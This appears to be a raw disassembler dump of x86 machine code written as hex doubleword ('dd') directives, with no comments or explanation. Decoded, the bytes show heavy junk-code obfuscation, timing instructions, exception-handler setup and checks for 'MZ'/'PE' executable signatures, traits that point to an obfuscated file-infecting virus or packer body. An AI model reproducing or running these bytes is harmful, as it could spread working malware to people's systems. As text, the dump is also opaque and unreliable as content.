		dd 61FB8B66h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 17h,	18C35343h, 0E971F254h, 8, 0D1869D78h, 9C1ACC71h
		dd 9D6107EBh, 0E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0C6FA3C99h, 1D12BA58h
		dd 0F6810E17h, 3D0DF2A2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 82C35545h, 8BBCBED5h,	0EBC18BC3h, 0E09104Bh
		dd 1AC53C2Fh, 0A4ACDA4Bh, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h
		dd 29B327CEh, 0DD5B34D1h, 17E62AC7h, 34DF1BCEh,	0A6DB67h
		dd 46B355h, 0D5A3EA1Ah,	0
		dd 0FEC8199Ch, 0FE480000h, 0FBh, 27E64128h, 0C3727DD4h
		dd 0D59E9h, 0DE900h, 0DA2A0000h, 6CB4FD50h, 81873931h
		dd 83A92901h, 1D31C1BDh, 850F0006h, 64h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 0A0C35141h, 0D5E76A7Eh
		dd 819D3360h, 50061D00h, 8C0Fh,	615E0000h, 0B8h, 6965BB00h
		dd 4C2128Ah, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 58C0FA0h,	60000000h, 61F95853h, 6AC08Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 14E77C3h, 3880Fh, 8B660000h,	0ED8D8BD3h, 83061D06h
		dd 1D1669BDh, 9750006h,	121BD83h, 7400061Dh, 8B535013h
		dd 4D0B8C0h, 9D8D0000h,	61FA411h, 585BD3FFh, 121BD83h
		dd 7400061Dh, 0B8535011h, 4D0h,	0A35E9D8Dh, 0D3FF061Fh
		dd 0DF81585Bh, 4F035B36h, 659589h, 0C08B061Dh, 1B69BD8Bh
		dd 0CF81061Dh, 63CFF81Bh, 18C4858Dh, 0BD890621h, 61D21C1h
		dd 0EE9h, 40D8C300h, 0B6F28352h, 0CA05462Eh, 90BB3F27h
		dd 0B950CBB7h, 5FC83B00h, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 24574B30h
		dd 514CA8C1h, 1881858Dh, 6A0621h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0C0D544C3h, 6690F87Bh
		dd 5050C88Bh, 61605152h, 50310F59h, 8E952h, 0CF5E0000h
		dd 0BE071E60h, 310FCEFEh, 0FE8h, 0DBE04900h, 2FBADFEEh
		dd 0F4A8D9CAh, 0D8603980h, 5A585A5Bh, 0B5899058h, 61D3055h
		dd 0A810Fh, 5E90000h, 41000000h, 0AA746B83h, 328D95FFh
		dd 6A061Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 60EA78C3h, 0B975A2E3h, 8509C5BCh,	61D2119h
		dd 424448Bh, 15D19D8Bh,	9589061Dh, 61D0459h, 18AC8589h
		dd 840F0621h, 8, 659D2950h, 59061D2Fh, 0DD8FBA66h, 824448Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2DC35141h
		dd 2E4A383Bh, 19E65892h, 6E9h, 0B9534500h, 89203572h, 2118C085h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 5DBD8375h, 61D27h, 0C0850Fh, 0CB810000h
		dd 71B37B10h, 1B2585C6h, 8947061Dh, 1D2F9985h, 0A1958B06h
		dd 68061D32h, 0A81E6D3Fh, 7E8h,	69FAA100h, 356A3494h, 4DA829B9h
		dd 34815F4Dh, 84CAED24h, 6E9507Ch, 4B000000h, 0E0353256h
		dd 0B5FF5B17h, 61D1805h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 14h, 0ECC35141h, 77FF858Dh, 8D8B0620h, 61D09E5h
		dd 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0AA971C3h, 0FAF5924Dh, 0EC8A2B65h, 275D8589h
		dd 6A061Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 1D7E5DC3h, 0BD83FE6Bh, 61D3219h, 9B850F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0F9C5C357h, 8166B305h,	893A02C2h
		dd 1D17C59Dh, 2585C606h, 47061D1Bh, 68F98B66h, 2489A7CEh
		dd 6E95250h, 0EE000000h, 0E1219D75h, 8A310F70h,	81585ADEh
		dd 0E142404h, 0BD096586h, 61D1D4Dh, 1805B5FFh, 860F061Dh
		dd 6, 25C1BD8Bh, 858D061Dh, 62077FFh, 6AD0FFh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0A3A7EC3h, 85893E30h, 61D3219h, 0BD831EB1h, 61D2C29h
		dd 0D5850F00h, 66000000h, 85C6F98Bh, 61D1B25h, 53006A56h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 9D09F6F1h, 61D2A3Dh,	9A53C368h, 7725BA95h, 34815CD1h
		dd 853EFA24h, 57006A41h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 15B5961h,	1D011185h, 5B5FF06h, 89061D18h
		dd 1D04EDB5h, 0FF858D06h, 6A062077h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0A7ECC356h
		dd 3C607D6Eh, 578E80F3h, 52FDF381h, 0B35B6DE3h,	80D0FF60h
		dd 858967DAh, 61D2C29h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0C9C35747h, 0A3554051h, 9D29DC28h, 61D0279h
		dd 1B2585C6h, 16C061Dh,	1D15F185h, 965C6806h, 0F60D913h
		dd 383h, 0D18B6600h, 8161DE8Ah,	0E6DF2434h, 6A0216h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 3EE4DCC3h, 0A7F0166Eh, 46FABF52h, 0B5FF6C62h, 61D11E5h
		dd 858D59B6h, 61D3A83h,	0B5EA8166h, 0FD8D8B7Dh,	0FF061D08h
		dd 0FE8D0h, 0F7220000h,	0BB066577h, 7E8F4B88h, 98C03C5Fh
		dd 0E6D181BFh, 59758C48h, 18B08589h, 81660621h,	6AB371E9h
		dd 0DE804h, 0B4440000h,	25FE5795h, 7FA5C74Eh, 0E936394Eh
		dd 9, 62FD1E16h, 8A5C7557h, 0F8685B71h,	81A5D440h, 0CF082404h
		dd 0B70F5A2Bh, 4E8DEh, 0
		dd 0D08B0001h, 800F6050h, 6, 310F5250h,	0CE8B585Ah, 24448B61h
		dd 800F6004h, 16h, 11E9h, 21CA8700h, 93693310h,	0FB1F3BBAh
		dd 6B09BE18h, 5E93AAAh,	4D000000h, 0B57EC520h, 89008B61h
		dd 0E8042444h, 13h, 0D922DCDBh,	1C54A250h, 90560913h, 10E1CC1h
		dd 8B0312B8h, 89585BFBh, 1D054DBDh, 6A67B206h, 68F0F00h
		dd 89000000h, 1D151D95h, 5D95FF06h, 8B061D29h, 1D15E19Dh
		dd 8AC68006h, 18BC8589h, 0EA810621h, 1B3F01B2h,	6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 146867C3h, 8BE28297h, 240481D0h, 1D7E68ECh, 0F21BD33h
		dd 5050061Dh, 8A525052h, 50310FD5h, 5A310F52h, 0F585A58h
		dd 14E831h, 86CD0000h, 39321281h, 98390842h, 5F9DB3CEh
		dd 0FC189905h, 5B50511Dh, 89585A59h, 29502404h,	1D046595h
		dd 0B6A5A06h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Bh,	18C35040h, 0D61F80EAh, 80B24BADh, 858D07EBh, 6211889h
		dd 605034B5h, 0B74ECEBFh, 10820F69h, 0E9000000h, 0Bh, 0EE3C0D9Fh
		dd 0ABAA0FAh, 61F8E0B0h, 89240489h, 1D20459Dh, 5D95FF06h
		dd 66061D27h, 890C94BBh, 1D154D95h, 93B58D06h, 6A062118h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 4D03C355h, 9D9042F1h, 9612E9EEh, 0BF525060h
		dd 0A72153Dh, 64BB310Fh, 5A0F5508h, 61FD8A58h, 8E850h
		dd 6D450000h, 0BDA9CA9Fh, 0C1BB85BAh, 593ED431h, 52006A96h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 51D5F790h, 5CF7B934h, 0BB907A81h, 594482ECh,	0CE8B6650h
		dd 4DBD8990h, 0FF061D2Ah, 1D321995h, 0D1858906h, 66061D17h
		dd 0EEF4EA81h, 6AD0FFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 9AD6F2C3h, 2B372F1Dh, 1D116995h
		dd 0BCB58B06h, 6A062118h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0CB96C352h,	0B01EF392h
		dd 0B485C7FCh, 62118h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0A1A1C353h
		dd 6A5E748Fh, 0D181C1C7h, 9C4ACF6h, 7E805A50h, 840F0020h
		dd 2FEh, 11698501h, 6A60061Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 47A1C356h, 369AF910h
		dd 0E9FCABF7h, 9, 0BADE26BAh, 2FD27E58h, 20468D32h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0D2C35343h, 6E95010h
		dd 6B000000h, 6EE34C52h, 85895A61h, 62118B8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0FFC35343h, 7E9A7h
		dd 8B400000h, 1D06118Dh, 388006h, 0FFF0850Fh, 6AFFFFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0D49292C3h, 15B58589h, 8501061Dh, 61D0971h, 40E9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 6E94BBA2h, 0FE9h, 0FDDF2700h, 58DC79h, 32A9896Ah, 0CCEAAC3Eh
		dd 41BD2948h, 23061D2Fh, 1D2545BDh, 5C388006h, 27840Fh
		dd 0BB660000h, 388028F4h, 1A840F2Fh, 0F000000h,	9D89DFBFh
		dd 61D2B7Dh, 18B8853Bh,	830F0621h, 0FFFFFFC8h, 3AE28166h
		dd 6A4069h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0D4915AC3h, 557335D7h, 0BD83D094h, 62118C0h
		dd 54840F00h, 0B9000000h, 148EB0C1h, 1BBF6690h,	890F50F3h
		dd 0
		dd 55BD3390h, 3061D0Fh,	2118C085h, 0CEBF6606h, 0C66Eh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A1C35242h
		dd 0CB0AF7DFh, 66C281D6h, 0BE27C981h, 9D958B58h, 90061D30h
		dd 0D874DEBFh, 57505006h, 595F5953h, 50006A90h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0F12AA9D1h
		dd 6820FA1h, 81000000h,	0E64BEFE9h, 68D0F67h, 1000000h
		dd 1D2EA9BDh, 0ACB5FF06h, 0FF062118h, 2118B095h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0C311A559h, 0F8858510h, 0C00B4D31h, 3F850Fh,	81660000h
		dd 6105E9C2h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 18h,	2FC35747h, 61724DEAh, 18B485C7h, 10621h, 958B0000h
		dd 61D1AC1h, 81E9h, 0FD8A5700h,	6A6159h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0CDFB92C3h
		dd 0E8C28CAAh, 0Eh, 781020D2h, 1E974620h, 0AADAC40Ch, 81665453h
		dd 5B5E08D2h, 9E8h, 0D51C9600h,	0B5E3A968h, 0B5095759h
		dd 61D2B01h, 1CC6815Fh,	0F000001h, 17E9FABFh, 0FFFFFFDh
		dd 380h, 0DABF0F00h, 11E9h, 3BEA3500h, 0AF1D1A6Fh, 0FDE9A3E4h
		dd 33A4B813h, 0C6683A3Dh, 0B68740A8h, 240481B3h, 78BFD73Ah
		dd 775B589h, 6A061Dh, 14E8h, 84FB2B00h,	25F1E600h, 2E449A37h
		dd 0A8E34664h, 4B52586Eh, 41BD8BA9h, 5A061D1Dh,	18BCB5FFh
		dd 11E90621h, 82000000h, 72E90ED4h, 0AF9CAF85h,	3844C0Dh
		dd 71EF014Fh, 13E8h, 0AF682B00h, 0F8BE79h, 5FA454CAh, 0FC23D702h
		dd 0D3D87CFEh, 2A8D9D8Bh, 0FF5F061Dh, 1D2C2995h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0EBBFBF39h, 8B59FEC7h, 2118B485h, 5870F06h, 0BA000000h
		dd 0F2915CBh, 60525090h, 0F616160h, 0DE85131h, 87000000h
		dd 0F7E537A6h, 0B292F890h, 37A02DE7h, 585A5B5Bh, 90CA8B50h
		dd 0FE9h, 90990D00h, 0C8A7364Ah, 3F1C202Eh, 324A4446h
		dd 18C4858Dh, 6A0621h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 890855C3h, 1D20B995h, 6090F806h
		dd 0CB32BE66h, 10E9h, 2A877C00h, 0BFF7FA2Fh, 91CD4019h
		dd 28B5B065h, 6050612Eh, 0EFB4D18Bh, 0B70F9061h, 81858DD6h
		dd 6A062118h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 1C54C351h, 90560913h, 500E1CC1h
		dd 6A240489h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0E4B0C356h, 8BFF2C82h,	195FFCEh
		dd 52061D27h, 5FC9BF0Fh, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 4CA258C3h, 94AE27D3h
		dd 958BE113h, 61D2679h,	1669BD83h, 7500061Dh, 21BD8309h
		dd 61D01h, 53501374h, 0D0B8C08Bh, 8D000004h, 1FA4789Dh
		dd 5BD3FF06h, 21BD8358h, 61D01h, 53501174h, 4D0B8h, 779D8D00h
		dd 0FF061FA3h, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 38C1C356h, 664E2160h
		dd 0FCD5CB81h, 0BD8BC08Bh, 61D32C1h, 0E1F78058h, 0F0008C2h
		dd 0C08BCFBFh, 749D49BBh, 0E3858D21h, 6A062118h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 89ACC352h, 1D182D85h, 0BA06h, 0EA81F00Eh, 0F0000000h
		dd 8914C283h, 1D11B595h, 14EA8306h, 26FF858Dh, 64500621h
		dd 35FFh, 89640000h, 25h, 0E800h, 2B580000h, 0F00025C2h
		dd 8166FFFFh, 0F5A4D38h, 1285h,	50B70F00h, 81D0033Ch, 45503Ah
		dd 0A840F00h, 2D000000h, 1000h,	0FFFFD9E9h, 89C88BFFh
		dd 1D017185h, 3C400306h, 650B70Fh, 209D9589h, 508B061Dh
		dd 0CD958950h, 5061D12h, 0F8h, 30C508Bh, 2D9589D1h, 3061D2Fh
		dd 95890850h, 61D32C5h,	58F64h,	83000000h, 13E904C4h, 51000000h
		dd 10244C8Bh, 0B0A981h,	10000000h, 33590000h, 0BD83C3C0h
		dd 61D26C9h, 24840F00h,	0C6000000h, 1D1B2585h, 0D2684706h
		dd 0FFD49AA7h, 1D1805B5h, 0FF858D06h, 0FF062077h, 0FF006AD0h
		dd 3D8589D0h, 8B061D26h, 515060D3h, 0FE9h, 38303400h, 0EB5B3A69h
		dd 86E4E412h, 6C83B40Ah, 0C08B595Eh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 2AC35040h, 0BD83EBF0h, 61D1669h
		dd 83097500h, 1D0121BDh, 19740006h, 0C08B5350h,	438B8h
		dd 69858900h, 8D061D2Ah, 1FA63D9Dh, 5BD3FF06h, 21BD8358h
		dd 61D01h, 53501774h, 438B8h, 69858900h, 8D061D2Ah, 1FA32C9Dh
		dd 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 12D43639h, 415ECDE7h, 55006A11h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0BFA2BDE1h, 0D58D2BDAh, 8B061D32h, 0ADE8F8C0h, 0E9000008h
		dd 9, 6BF660B7h, 0ECAB6419h, 198589A8h,	6A061D2Eh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 76EBC351h, 665781CEh, 0C802F681h, 0FEBF0F5Eh, 86BE8h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 1554E23h, 6AA34FB5h, 6660342Ah, 8BFE7CBFh
		dd 1D1ACD95h, 85896106h, 61D0211h, 8BFA8B66h, 1D0591BDh
		dd 826E806h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 469045C3h, 0E7815607h, 3017274Bh
		dd 13358589h, 6A061Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 957259C3h, 9501D1C5h, 61D2999h
		dd 9246C781h, 0C9E82C3Eh, 6A000007h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 479DC357h
		dd 8C0FF560h, 19h, 14E9h, 9F6C9A00h, 0C88E2773h, 8CF5D4DFh
		dd 958F48B7h, 2C52CF0h,	85896135h, 61D086Dh, 1A918501h
		dd 79E8061Dh, 6A000007h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0E6D2C350h,	96A9B5B3h
		dd 5886D2DFh, 29298589h, 6A061Dh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 999C21C3h, 72BE8h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 5DC21660h, 0ED7C7A0h, 16C18589h, 0BD8B061Dh,	61D1D15h
		dd 6F7E8h, 870F00h, 89000000h, 1D16ED85h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 0D9608085h, 0BE66A706h, 0B58903E6h, 61D2E7Dh, 6BBE8h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 8965D40Fh, 1D005585h, 71B58906h,	0E8061D16h
		dd 68Ch, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 18h,	6AC35242h, 3BE73049h, 8589CB8Ah, 61D2B31h, 14DD8D8Bh
		dd 59E8061Dh, 6A000006h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 814EC350h, 92622ADEh
		dd 4985895Eh, 0E8061D2Ch, 0Eh, 0F5C23E70h, 0F6A704AAh
		dd 287B9570h, 0B70FC864h, 15E85FC9h, 6A000006h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 617DC351h, 1F0848AAh, 0F8BEDBEEh, 897A6963h,	1D30A585h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 66AF8EE4h, 0A222DE81h, 5BEE8F8h,	6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 9791EFC3h, 89306183h, 1D125D85h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0F0C1C1Fh
		dd 71E8FABFh, 0FC000005h, 2018589h, 6A061Dh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 893A98C3h
		dd 1D2A79B5h, 542E806h,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0CC4A26C3h, 4DE2805h
		dd 0BF0F138Bh, 0F58589CBh, 6A061D13h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 5CDDC357h
		dd 0AC372752h, 0EDE879ADh, 6A000004h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0D8C3C355h
		dd 0F2835240h, 0D0135CBEh, 99858961h, 6A061D31h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0F593C357h, 9CC8A71h, 1D29759Dh, 496E806h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 858912C3h, 61D2BCDh,	0AE9h, 3E20800h, 822B580Dh, 0B0F68B79h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0FEC56FDh, 8B66D8B6h, 6BACAh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E98B21C3h, 7, 0DFA00514h, 89762B7Ch, 1D2A5185h, 6AC38B06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0AA35C351h, 91BD89C4h, 0C1061D29h, 6A04E8h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 667FBFC3h, 8D0FE2F7h, 0
aFbsp?J		db 'fp?+j',0
		db 52h,	0E8h, 3
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 398DC352h, 9526A3ABh, 0E8F8BF0Fh, 0Dh, 6CAD7160h, 4D0EB058h
		dd 4E830ECEh, 8B6659F5h, 1C8950F1h, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 14B8A1Eh, 98EE8AD3h
		dd 2B658D89h, 0B70F061Dh, 5195FFCBh, 6A061D31h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0D21BC352h, 0C2F2978Ah, 896FEAA1h, 1D1C25BDh, 958D5B06h
		dd 61D1359h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0EAC35141h, 6699FE63h, 8954CCBFh, 51006A1Ah, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 0DD43CBEDh, 81BD23C8h, 89061D16h, 0BD890442h, 61D08E5h
		dd 641958Dh, 8D89061Dh,	61D20DDh, 6A1A89h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0BE9BF8C3h
		dd 78F4402Ah, 0F78134h,	891D8B1Eh, 8D8B0442h, 61D01ADh
		dd 23EFDF81h, 958D4A4Dh, 61D0109h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 8DC35646h, 5CD9A641h, 5D21410Eh
		dd 0CF8166DDh, 0BE66532Ah, 1A89A47Dh, 1635B533h, 4289061Dh
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8D8318A6h, 1D164995h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 3D40A9F7h
		dd 0C9319C79h, 8E8BEh, 1F0A0000h, 0ED0D36F0h, 0C7812548h
		dd 6E490978h, 6A1A895Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0B8A8C357h,	4289FAE3h
		dd 5E904h, 0C9380000h, 8D50F6C7h, 1D1AB995h, 0E1B58B06h
		dd 89061D12h, 7E91Ah, 99F10000h, 0BCC98FACh, 4428975h
		dd 15F98D8Bh, 958D061Dh, 61D304Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 64C35343h, 0A3713E91h, 299529E4h
		dd 89061D33h, 55006A1Ah, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 8B6D813Bh, 89A7B5FBh, 6A0442h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0F92DB6C3h, 335DA55Dh, 1D14018Dh, 79958D06h,	6A061D2Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0FB95C353h, 2A0D75DEh, 0FB5C47Dh,	48Bh, 97B96600h
		dd 0B5BD8B9Ch, 89061D10h, 51006A1Ah, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 341D7130h
		dd 0B966C53Dh, 42890704h, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 53A3867Fh
		dd 4CEA2C7Fh, 958DEC1Bh, 61D1C6Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 2CC35545h, 81674D51h, 8C0FD0E1h
		dd 6, 15E59501h, 1A89061Dh, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0FEC35747h, 42891C0Ah, 52006A04h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 0A6EBFFD1h, 83BF21D3h, 9AE18009h, 0DBE93BB5h, 0BE000000h
		dd 3BA64269h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 89DD8DC3h, 1D15F1B5h, 6A006A06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 6605C352h, 1D80F83Eh, 8BE2C20Dh, 0E9006AF2h
		dd 7, 2CC7CF7Bh, 6AF3D752h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 70E46E1Ch
		dd 0BD891D13h, 61D314Dh, 21C98589h, 95FF061Dh, 61D0209h
		dd 14E9h, 0A3D36800h, 0AB9AAC8Eh, 61FF270Ah, 6429B214h
		dd 0DC8BEFFBh, 6AC372h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 9C066CC3h, 0B7AF6654h, 361BC75h
		dd 1D15158Dh, 0C58AF906h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0F7C35242h, 425D04D8h, 0A350C0C4h, 6AC08B35h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 6437C356h, 0B12CFC39h, 555DA92Ah,	1669BD83h
		dd 7500061Dh, 21BD8309h, 61D01h, 53501974h, 38B8C08Bh
		dd 89000004h, 1D0F3D85h, 0A49D8D06h, 0FF061FA6h, 83585BD3h
		dd 1D0121BDh, 17740006h, 38B85350h, 89000004h, 1D0F3D85h
		dd 459D8D06h, 0FF061FA3h, 6A585BD3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 60E9C351h
		dd 0F318D89h, 6650061Dh, 58F852BAh, 3890F61h, 0F000000h
		dd 6AF6BFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 7ABC58C3h, 6800Fh, 0B5330000h, 61D31B9h
		dd 858DC08Bh, 61D0421h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0B1C35646h, 604275C5h, 858D8BF8h, 61061D02h
		dd 88BB6650h, 240489D2h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 13C35747h, 0E97D014Dh, 43918307h, 22D19D8Bh
		dd 0BD8B061Dh, 61D0831h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0D38135C3h, 1DA3A9D7h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 77B6ADC3h, 0BF509BDAh, 45D4D00Ch,	34C8858Dh
		dd 8E80621h, 0F7000000h, 0ABE3F77Eh, 5F9D34BDh,	11E9h
		dd 48FAC600h, 0D0B01AF8h, 0CC6ED4A2h, 8DD8E669h, 0C0834900h
		dd 68D0F05h, 29000000h,	1D1671BDh, 0BF669006h, 9050C1FDh
		dd 6AF98B66h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 364B4158h, 676DDD46h, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0F0B508C3h, 26D6160Ch, 0BD8BD88Bh, 61D1851h,	2A3995FFh
		dd 6A061Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0C6404CC3h, 0CB8166E6h, 14E9BAE2h, 77000000h
		dd 2F8D01FDh, 12AA1367h, 6D08766Dh, 0E5EC96A4h,	8D26BFDEh
